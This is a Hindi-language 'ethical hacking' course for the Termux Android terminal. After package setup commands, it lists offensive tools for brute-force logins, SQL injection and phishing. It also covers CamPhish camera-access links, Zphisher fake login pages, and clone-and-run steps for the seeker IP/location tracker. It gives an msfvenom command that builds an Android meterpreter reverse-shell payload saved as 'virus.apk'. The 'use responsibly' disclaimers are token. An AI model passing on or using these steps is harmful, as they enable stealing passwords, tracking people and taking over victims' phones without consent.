

Termux Ethical Hacking Full Course (Hindi)

1. Termux ki shuruaati settings

Zaroori Commands:

```
pkg update && pkg upgrade
```

```
pkg install git
```

```
pkg install curl
```

```
pkg install wget
```

```
pkg install python
```

```
pkg install php
```

```
pkg install openssh
```

```
pkg install nano
```

Storage ko access dena:

```
termux-setup-storage
```

2. Termux Interface Customization

ZSH aur Oh-My-Zsh install:

```
pkg install zsh
```

```
pkg install wget git curl
```

```
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
```

3. Ethical Hacking ke zaroori Tools

- Nmap: Network scanning
- Hydra: Brute Force login attack
- SQLMap: Website se data nikalna (SQLi)
- Ngrok/Cloudflared: Tunnel banana, link live karna
- Metasploit: Payload banakar device access lena

Termux Ethical Hacking Full Course (Hindi)

- CamPhish: Camera access link bhejna
- Zphisher: Fake login page se password lena

4. WiFi Hacking (sirf knowledge ke liye)

Android mein limit hota hai. Monitor mode chahiye hota hai (kuch rooted phones ya external adapter mein hota hai)

5. Termux mein Python Scripts banana

```
pkg install python  
nano mytool.py  
# Ab usme code likho aur run karo:  
python mytool.py
```

6. Fake Login Page banana (Phishing)

Tools: zphisher, advphishing, saycheese, camphish
(Use responsibly, sirf testing ke liye)

7. IP Tracking Tools

```
git clone https://github.com/thewhiteh4t/seeker  
cd seeker  
bash install.sh  
python3 seeker.py
```

8. Payload banana (Metasploit se)

Termux Ethical Hacking Full Course (Hindi)

```
pkg install unstable-repo
```

```
pkg install metasploit
```

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 -o virus.apk
```

9. Android ke liye kuch Top Tools

- Tool-X
- Termux-Black
- DarkFly
- Root Repository (agar rooted hai)

10. Extra: Termux mein GUI

- XServer XSDL App
- VNC Viewer
